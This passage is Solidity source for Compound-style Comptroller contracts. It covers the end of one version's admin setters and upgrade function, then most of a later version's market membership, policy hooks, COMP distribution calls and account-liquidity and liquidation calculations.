newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled 1 <= newLiquidationDiscount <= 1.5 Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, collateralFactorMantissa: 0}); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _become(Unitroller unitroller, PriceOracle _oracle, uint _closeFactorMantissa, uint _maxAssets, bool reinitializing) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); uint changeStatus = unitroller._acceptImplementation(); require(changeStatus == 0, "change not authorized"); if (!reinitializing) { ComptrollerG1 freshBrainedComptroller = ComptrollerG1(address(unitroller)); // Ensure invoke _setPriceOracle() = 0 uint err = freshBrainedComptroller._setPriceOracle(_oracle); require (err == uint(Error.NO_ERROR), "set price oracle error"); // Ensure invoke _setCloseFactor() = 0 err = freshBrainedComptroller._setCloseFactor(_closeFactorMantissa); require (err == uint(Error.NO_ERROR), "set close factor error"); // Ensure invoke _setMaxAssets() = 0 err = freshBrainedComptroller._setMaxAssets(_maxAssets); require (err == uint(Error.NO_ERROR), "set max asssets error"); // Ensure invoke _setLiquidationIncentive(liquidationIncentiveMinMantissa) = 0 err = freshBrainedComptroller._setLiquidationIncentive(liquidationIncentiveMinMantissa); require (err == uint(Error.NO_ERROR), "set liquidation incentive error"); } } /** * @dev Check that caller is admin or this contract is initializing itself as * the new implementation. * There should be no way to satisfy msg.sender == comptrollerImplementaiton * without tx.origin also being admin, but both are included for extra safety */ function adminOrInitializing() internal view returns (bool) { bool initializing = ( msg.sender == comptrollerImplementation && //solium-disable-next-line security/no-tx-origin tx.origin == admin ); bool isAdmin = msg.sender == admin; return isAdmin || initializing; } }pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract ComptrollerG3 is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, 